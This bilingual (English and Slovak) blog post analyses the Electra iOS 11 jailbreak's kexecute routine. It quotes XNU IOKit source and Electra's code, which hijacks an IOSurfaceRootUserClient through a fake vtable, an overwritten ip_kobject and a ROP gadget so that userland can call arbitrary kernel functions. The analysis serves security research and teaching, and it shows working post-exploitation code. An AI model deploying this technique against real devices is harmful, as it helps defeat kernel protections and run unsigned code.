Monday, October 8, 2018

Sneak peek under the hood of Electra's kexecute


Few months ago, a jailbreak called Electra (1) has been publicly released. The jailbreak targets iOS 11.2 - 11.3.1 with astonishing kernel exploits (2-3) provided by Ian Beer of Google's Project Zero.

The team behind Electra combines and packs multiple publicly known techniques in order to achieve goals to weaken the security mechanisms and run unsigned code on the device.

This short blog post does not provide any novel techniques but it rather describes internals of Electra's kexecute function that serves a limited way to call kernel functions from the userland.

Actually, we wanted to compare it with kexecute provided by Qilin (4) (post-exploitation framework) but at the time of writing this post, Qilin exports the kexecute, however the .o library does not contain any implementation (shasum: fabc6a8d99b1c2cdd35277533b003f630fd2a2bf).

During the post-exploitation phase, we find ourselves in the position, when calling a kernel function can save us from the complicated situations. Simulating function calls with raw arbitrary r/w capability can be really daunting task, so let the kernel work for us!

This technique has been published in the "Tales from iOS 6 Exploitation and iOS 7 Security Changes" by Stefan Esser (5).

First of all, we need a convenient way to pass our user-supplied arguments to the kernel, that's where IOKit comes to the rescue.

kern_return_t
IOConnectTrap6(io_connect_t connect,
        uint32_t  index,
        uintptr_t p1,
        uintptr_t p2,
        uintptr_t p3,
        uintptr_t p4,
        uintptr_t p5,
        uintptr_t p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}

IOConnectTrap6(...) allows a user to send up to 6 arguments to the kernelland. The function immediately calls iokit_user_client_trap(...). 

The iokit_user_client_trap(...) function returns a value from the function called upon the IOExternalTrap instance.

The IOExternalTrap is descibed by the following structure:

struct IOExternalTrap {
 IOService * object;
 IOTrap func;
};

Subsequently, the iokit_user_client_trap(...) function calls the trap function with the user-supplied arguments.

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((OSObject *)(args->userClientRef))))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) { // [A]
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

 iokit_remove_connect_reference(userClient);
    }

    return result;
}

Can we control the target and trap returned by getTargetAndTrapForIndex(...)?

From the following code snippet is obvious, that if we could subvert the getExternalTrapForIndex(...) of the IOUserClient instance, we are immediately in control of the *targetP and returned trap, hence we control the called function pointer (target->*func).

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
      IOExternalTrap *trap = getExternalTrapForIndex(index);

      if (trap) {
              *targetP = trap->object;
      }

      return trap;
}

The generic idea behind calling arbitrary functions, is to modify the vtable of the IOUserClient instance so that invoking the iokit_user_client_trap(...) ends up calling a function pointer controlled by us. Regarding the fact that the IOUserClient instances are backed by heap memory and behave as C++ objects stored in the memory, thus the very first address stored in this representation of instances in the memory is an address of the vtable. The vtable consists of all virtual functions that can be called on the particular instance of the objects. The other thing, that we need to take into account is the calling convention of methods, which requires us to put the "this" pointer into very first argument. The pointer points to the instance of the object itself. Note that this cannot be NULL because of the statement at [A].

The addresses of the IOUserClient instances are stored in the port member called ip_kobject, which is confirmed when we take a closer look at the function iokit_lookup_connect_ref(...) from the first code snippet:

EXTERN io_object_t
iokit_lookup_connect_ref(io_object_t connectRef, ipc_space_t space)
{
 io_object_t obj = NULL;

 if (connectRef && MACH_PORT_VALID((mach_port_name_t)connectRef)) {
  ipc_port_t port;
  kern_return_t kr;

  kr = ipc_object_translate(space, (mach_port_name_t)connectRef, MACH_PORT_RIGHT_SEND, (ipc_object_t *)&port);

  if (kr == KERN_SUCCESS) {
            assert(IP_VALID(port));
            
            if (ip_active(port) && (ip_kotype(port) == IKOT_IOKIT_CONNECT)) {
                obj = (io_object_t) port->ip_kobject;
                iokit_add_reference(obj);
            }
            
            ip_unlock(port);
  }
 }

 return obj;
}

Let's look how the team behind Electra deals with the implementation. Please note, that the code is shrank, so that the only important lines are shown.

mach_port_t prepare_user_client(void) {
...
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));

  err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
...
  return user_client;
}

The function prepare_user_client() spawns an instance of IOSurfaceRoot and returns its address. 

Closer look at the following function reveals the actual implementation of the desired functionality.

void init_kexecute(void) {
    user_client = prepare_user_client();

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address

    IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field

    uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    fake_vtable = kalloc(fake_kalloc_size);

    for (int i = 0; i < 0x200; i++) {
        wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
    }

    // Create the fake user client
    fake_client = kalloc(fake_kalloc_size);

    for (int i = 0; i < 0x200; i++) {
        wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
    }

    // Write our fake vtable into the fake user client
    wk64(fake_client, fake_vtable);

    // Replace the user client with ours
    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());

}

The find_port(user_client) looks up the specific address of the port in our task. The actual address of the IOSurfaceRootUserClient instance is grabbed from the kobject member. From now on, there are multiple venues that can get authors to the objective. One of the venues includes faking an object with a fake vtable, which is subsequently written in the the kobject member.

The team could rewrite the vtable record of getExternalTrapForIndex(index) of a spawned fake object with a function that would return a controlled value (e.g. getRegistryEntryID(), ...). The value is controlled because of the arbitrary r/w capability. 

Another way, is to replace the getExternalTrapForIndex(index) function with a gadget that would advance a controlled address to the place, where they can safely create an IOExternalTrap object.

The authors went with the latter. Firstly, a fake vtable is initialized in the heap. Afterward, up to 0x200 records from the original vtable of the IOSurfaceRootUserClient are copied into the fake vtable. A fake object of the fake_kalloc_size size is initialised. The 0x200 properties (including vtable address, refcount, etc.) from the original object are copied into the fake one. The address of fake vtable is written to the fake object. The object is now ready to be written into the kobject member.

The vtable record of the method IOUserClient::getExternalTrapForIndex is rewritten with an address of the "add x0, x0, #0x40; ret;" gadget.

Let's recapitulate the situation, what happens when we fire up iokit_user_client_trap(...). The kernel will looks up our fake object instance and calls the gadget. Do you remember what's the first parameter (stored in x0) of the call? Yes, that's the address of our fake object with the controlled data. The gadget will advance the value of x0 #0x40 upfront, so that it skips the vtable, refcount, etc because we do not want to screw that up. The advanced address of x0 is actually treated as the address of IOExternalTrap object. The goal is to fake IOExternalTrap object at that address.

The member called target would point the address of the object upon which the function is going to be called. However, in our case this represents the first argument sent to the function.

The "func" member of this object would be an address of the function that the kernel calls.

The following function called kexecute(...) creates a fake IOExternalTrap object, where the x0 represents the "this" pointer and the addr represents function that the kernel would call. From now on, the IOConnectTrap6(...) provides us a limited way to call almost arbitrary functions. The limitation comes from the restriction of the first arguments to be not NULL, the maximum number of parameters is 7 and the return value is truncated to 32bits. Besides that, the function fix up the members that were tampered with. 

uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {

    uint64_t offx20 = rk64(fake_client+0x40);
    uint64_t offx28 = rk64(fake_client+0x48);
    wk64(fake_client+0x40, x0);
    wk64(fake_client+0x48, addr);
    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
    wk64(fake_client+0x40, offx20);
    wk64(fake_client+0x48, offx28);

    pthread_mutex_unlock(&kexecute_lock);

    return returnval;
}

The term_kexecute writes back the original address of IOSurfaceRootUserClient and cleans the fake object with the fake vtable out of the memory.

void term_kexecute(void) {
    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
    kfree(fake_vtable, fake_kalloc_size);
    kfree(fake_client, fake_kalloc_size);
}

If you would like to know how this technique can be boosted utilizing JOP chains to introspect the kernel (at least on older devices), please check the wonderful blog post https://bazad.github.io/2017/09/live-kernel-introspection-ios/. 

We would like to thank Brandon Azad for reviewing this blog.

References: 



Krátky pohľad na implementáciu kexecute v jailbreaku Electra


Pred niekoľkými mesiacmi bol zverejnený jailbreak nazvaný Electra (1). Jailbreak je vyvinutý pre iOS verzie 11.2 - 11.3.1 s využitím kernel exploitov (2-3), ktoré zverejnil Ian Beer z Project Zero spoločnosti Google.

Tím za jailbreakom Electra kombinuje a elegantne využíva viacero verejne známych techník, aby dosiahol oslabenie bezpečnostných mechanizmov a spustenie nepodpísaného kódu na zariadení.

Tento krátky príspevok neobsahuje žiadne nové techniky, ale skôr podrobne opisuje implementáciu kexecute, ktorá slúži na obmedzené, no za to efektívne volania funkcií jadra z tzv. userspace.

Pôvodne sme chceli porovnať Electra kexecute s kexecute poskytovanou Qilinom (4) (známy post-exploitačný framework) avšak v čase písania tohto príspevku, Qilin exportuje funkciu kexecute, avšak knižnica neobsahuje jej implementáciu (shasum: fabc6a8d99b1c2cdd35277533b003f630fd2a2bf).

Počas post-exploitácií sa ocitáme v pozícii, keď priame volanie funkcií jadra nás môže zachrániť pred komplikovanými situáciami. Simulácia volaní kernel funkcií za pomoci schopnosti čítať a zapisovať ľubovoľné hodnoty na ľubovoľné adresy môže byť naozaj komplikovanou úlohou. Cieľom je nechať jadro pracovať pre nás!

Táto technika bola uverejnená v prednáške "Tales from iOS 6 Exploitation and iOS 7 Security Changes" od Stefana Essera (5).

V prvom rade potrebujeme pohodlný spôsob, ako preniesť argumenty poslané používateľom do jadra. Pozrime sa teda, čo nám poskytne IOKit framework.

kern_return_t
IOConnectTrap6(io_connect_t connect,
        uint32_t  index,
        uintptr_t p1,
        uintptr_t p2,
        uintptr_t p3,
        uintptr_t p4,
        uintptr_t p5,
        uintptr_t p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}

IOConnectTrap6(...) umožňuje používateľom zaslať až 6 argumentov do kernelland. Funkcia automaticky vyvolá iokit_user_client_trap(...).

Funkcia iokit_user_client_trap(...) vracia návratovú hodnotu z funkcie zavolanej nad inštanciou IOExternalTrap, ktorá je popísaná nasledujúcou štruktúrou:

struct IOExternalTrap {
 IOService * object;
 IOTrap func;
};

Následne iokit_user_client_trap(...) funkcia vyvolá trap funkciu s argumentmi, ktoré sú zaslané používateľom.

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((OSObject *)(args->userClientRef))))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) { // [A]
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

 iokit_remove_connect_reference(userClient);
    }

    return result;
}

Môžme kontrolovať target a trap, ktoré sú vrátené z funkcie getTargetAndTrapForIndex(...)?

Z nasledujúceho urývku zdrojového kódu je jasné, že ak sa nám podarí nahradiť funkcia getExternalTrapForIndex(...) inštancie IOUserClient, inou, nami kontrolovanou funkciou, máme pod kontrolou *targetP a navrátený trap. Z nami ovládaného trapu vieme kontrolovať ukazovateľ na funkciu (target->*func), ktorú kernel zavolá.

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
      IOExternalTrap *trap = getExternalTrapForIndex(index);

      if (trap) {
              *targetP = trap->object;
      }

      return trap;
}

Generická metóda volania ľubovoľných funkcií je modifikovať vtable IOUserClient inštancie tak, že vyvolanie iokit_user_client_trap(...) nakoniec zavolá nami kontrolovaný ukazovateľ na funkciu. Vzhľadom na to, že inštancie IOUserClient sú alokované na halde a správajú sa v pamäti ako C++ objekty, prvou adresou C++ inštancií uložených v pamäti je adresa takzvanej vtable. Vtable obsahuje záznamy adries všetkých virtuálnych funkcií, ktoré môžu byť nad inštanciou zavolané. Okrem toho konvencia volaní metód vyžaduje aby prvý argument zaslaný do volanej funkcie bol ukazovateľ "this". Tento ukazovateľ odkazuje na samého seba. Podľa if podmienky [A] vidíme, že tento argument nemôže byť NULL.

Adresy IOUserClient inštancií sú uložené v portoch respektíve v ich ip_kobject, čo je možné vidieť ak sa bližšie pozrieme na implementáciu iokit_lookup_connect_ref(...) z predchádzajúceho úryvku:

EXTERN io_object_t
iokit_lookup_connect_ref(io_object_t connectRef, ipc_space_t space)
{
 io_object_t obj = NULL;

 if (connectRef && MACH_PORT_VALID((mach_port_name_t)connectRef)) {
  ipc_port_t port;
  kern_return_t kr;

  kr = ipc_object_translate(space, (mach_port_name_t)connectRef, MACH_PORT_RIGHT_SEND, (ipc_object_t *)&port);

  if (kr == KERN_SUCCESS) {
            assert(IP_VALID(port));
            
            if (ip_active(port) && (ip_kotype(port) == IKOT_IOKIT_CONNECT)) {
                obj = (io_object_t) port->ip_kobject;
                iokit_add_reference(obj);
            }
            
            ip_unlock(port);
  }
 }

 return obj;
}

Pozrime sa na konkrétnu implementáciu v podaní Electra tímu. Upozorňujeme, že kód je len úryvok a sú znázornené iba dôležité riadky.

mach_port_t prepare_user_client(void) {
...
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));

  err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
...
  return user_client;
}

Funkcia prepare_user_client() vytvorí IOSurfaceRoot inštanciu a vráti jej adresu. 
Bližší pohľad na nasledujúcu funkciu odhaľuje skutočnú implementáciu požadovanej funkcionality.

void init_kexecute(void) {
    user_client = prepare_user_client();

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address

    IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field

    uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    fake_vtable = kalloc(fake_kalloc_size);

    for (int i = 0; i < 0x200; i++) {
        wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
    }

    // Create the fake user client
    fake_client = kalloc(fake_kalloc_size);

    for (int i = 0; i < 0x200; i++) {
        wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
    }

    // Write our fake vtable into the fake user client
    wk64(fake_client, fake_vtable);

    // Replace the user client with ours
    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());

}

Funkcia find_port(user_client) vyhľadá adresu portu v našom tasku. Adresa IOSurfaceRootUserClient inštancii je vyextrahovaná z kobject. Od tohto momentu, existuje viacero možností, ktoré môžu dostať autorov k cieľu.

Tím mohol prepísať vtable záznam getExternalTrapForIndex(...) falošného objektu s adresou funkcie, ktorá by vrátila nimi kontrolované hodnoty (napr. getRegistryEntryID(), ...). Hodnota je kontrolovaná vzhľadom na schopnosť prepisovať ľubovoľné hodnoty na ľubovoľnom mieste.

Ďalšou možnosťou je nahradiť getExternalTrapForIndex(index) tzv. gadgetom, ktorý posunie kontrolovanú adresu v registri na miesto, kde môžu vytvárať ľubovoľné dáta bez toho aby sa niečo pokazilo.

Táto metóda je využitá v Electre. Najprv, je v hlade vytvorená a inicializovaná falošná vtable. Následne až 0x200 záznamov z pôvodnej vtable IOSurfaceRootUserClient inštancie je skopírovaných do falošnej vtable. Falošná inštancia o veľkosti _kalloc_size je inicializovaná na halde. Až 0x200 členov originálnej inštancie (vrátane adresy vtable address, refcount, atď..)  je skopírovaných do falošnej inštancii. Adresa falošnej vtable je zapísaná do falošnej inštancii. Takto vytvorená inštancia je následne zapísaná do kobject v tasku.

Vtable záznam metódy IOUserClient::getExternalTrapForIndex je prepísaný adresou, kde sa nachádza gadget "add x0, x0, #0x40; ret;".

Pozrime sa, čo sa stane ak zavoláme iokit_user_client_trap(...). Kernel vyhľadá našu falošnú inštanciu a zavolá nad ňou spomenutý gadget. Pamätáte si čo je prvý parameter zaslaný do metódy(momentálne uložený v x0)? Samozrejme sa jedná o adresu nášho falošného objektu s kontrolovateľnými dátami. Gadget posunie adresu v x0 #0x40 dopredu, tak, že x0 preskakuje miesta, ktoré nemôžeme pokaziť ako napr. adresa vtable, refcount, etc. Táto adresa uložená v x0 je následne použitá ako adresa objektu IOExternalTrap. Cieľom je vytvoriť falošný IOExternalTrap objekt na tejto adrese.

Člen nazvaný target bude ukazovať na objekt nad ktorým bude metóda volaná. V našom prípade je tento člen použitý ako implicitne zaslaný prvý argument volanej metódy.

Člen "func" bude ukazovať na adresu, ktorú kernel zavolá.

Nasledujúca funkcia kexecute(...) vytvára takýto falošný IOExternalTrap objekt, kde x0 reprezentuje "this" ukazovateľ a addr reprezentuje adresu funkcie, ktorú kernel zavolá.

IOConnectTrap6(...) nám týmto spôsobom poskytuje možnosť volať takmer ľubovoľnú funkciu z kernelu s určitými obmedzeniami. Limitácie sú nasledujúce:  prvý argument nemôže byť NULL, maximálny počet zaslaných argumentov je 7, návratová hodnota je zoseknutá na 32 bitov.

Okrem toho, táto funkcia upravuje členy, ktoré boli zmenené na originálne.

uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {

    uint64_t offx20 = rk64(fake_client+0x40);
    uint64_t offx28 = rk64(fake_client+0x48);
    wk64(fake_client+0x40, x0);
    wk64(fake_client+0x48, addr);
    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
    wk64(fake_client+0x40, offx20);
    wk64(fake_client+0x48, offx28);

    pthread_mutex_unlock(&kexecute_lock);

    return returnval;
}

Funkcia term_kexecute zapisuje naspať pôvodnú adresu inštancie IOSurfaceRootUserClient a uvoľnuje falošný objekt s falošnou vtable z pamäte.

void term_kexecute(void) {
    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
    kfree(fake_vtable, fake_kalloc_size);
    kfree(fake_client, fake_kalloc_size);
}

Ak by ste chceli vedieť ako táto technika môže byť vylepšená a použitá na skúmanie jadra za pomoci JOP chains, odporúčame prečítať si blog dostupný na https://bazad.github.io/2017/09/live-kernel-introspection-ios/.

Ďakujeme Brandovoni Azadovi za revíziu blogu a následné usmernenie.

Odkazy:

(1) https://coolstar.org/electra/
(2) https://bugs.chromium.org/p/project-zero/issues/detail?id=1564
(3) https://bugs.chromium.org/p/project-zero/issues/detail?id=1558
(4) http://newosxbook.com/QiLin/
(5) https://conference.hitb.org/hitbsecconf2013kul/materials/D2T2 - Stefan Esser - Tales from iOS 6 Exploitation and iOS7 Security Changes.pdf